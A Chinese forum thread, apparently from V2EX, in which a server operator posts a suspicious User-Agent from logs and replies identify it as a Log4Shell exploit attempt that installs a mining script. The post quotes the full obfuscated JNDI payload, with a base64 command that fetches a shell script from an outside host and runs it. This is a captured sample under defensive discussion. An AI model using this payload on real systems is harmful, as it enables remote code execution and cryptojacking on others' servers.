这是一个创建于 1051 天前的主题，其中的信息可能已经有所发展或是发生改变。
年前部署一个接口服务，通过日志，最近发现经常有 User-Agent 异常注入的访问 其中一个比较诡异的内容：
t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//150.136.111.68:1389/TomcatBypass/Command/Base64/d2dldCBodHRwOi8vMTU4LjEwMS4xMTguMjM2L2ludGVsLnNoOyBjdXJsIC1PIGh0dHA6Ly8xNTguMTAxLjExOC4yMzYvaW50ZWwuc2g7IGJhc2ggaW50ZWwuc2ggNDY4cllRTXhuQ3YzWG9GclhmNWkyUWU5eVpyelZTZGdNV2hqaVAyNjRUQWdKNXc0WGU2UGlKdGFGRjc5amhlNWFIaG1rdVNGOEttc0xkczRyN0hNRHhDelJLbU1UN3o=}')
知道这是干嘛的吗
11 条回复 • 2022-02-17 09:33:19 +08:00
 |
1
ThirdFlame 2022-02-10 10:15:25 +08:00
log4shell
|
 |
2
silverfox 2022-02-10 10:21:03 +08:00
|
 |
3
zhazi 2022-02-10 10:22:30 +08:00
|
 |
4
maichaide 2022-02-10 11:03:53 +08:00
下载脚本开启探矿服务
|
 |
5
muzuiget 2022-02-10 13:28:35 +08:00
Log4j 漏洞，就是赌你用 Log4j 把 UserAgent 记录到日志中，实现远程执行代码。
|
 |
6
yundun2021 2022-02-10 13:34:59 +08:00
有条件可以上 WAF
|
 |
7
yu1u 2022-02-10 13:47:12 +08:00
log4j 漏洞攻击
|
 |
8
0x73346b757234 2022-02-10 18:04:25 +08:00
对面想通过 Log4j 漏洞下载 xmrig 挖矿脚本。多谢老哥提供了个样本，测了下自己的规则能覆盖，嘿嘿。
|
 |
11
kaka6 OP 又收到不少的 User-Agent：
Go-http-client/1.1 python-requests/2.20.1 curl/7.75.0 而且还来自世界各地，以前没做这么细的记录，现在全网做记录，发现了不少莫明访客 |
Select Language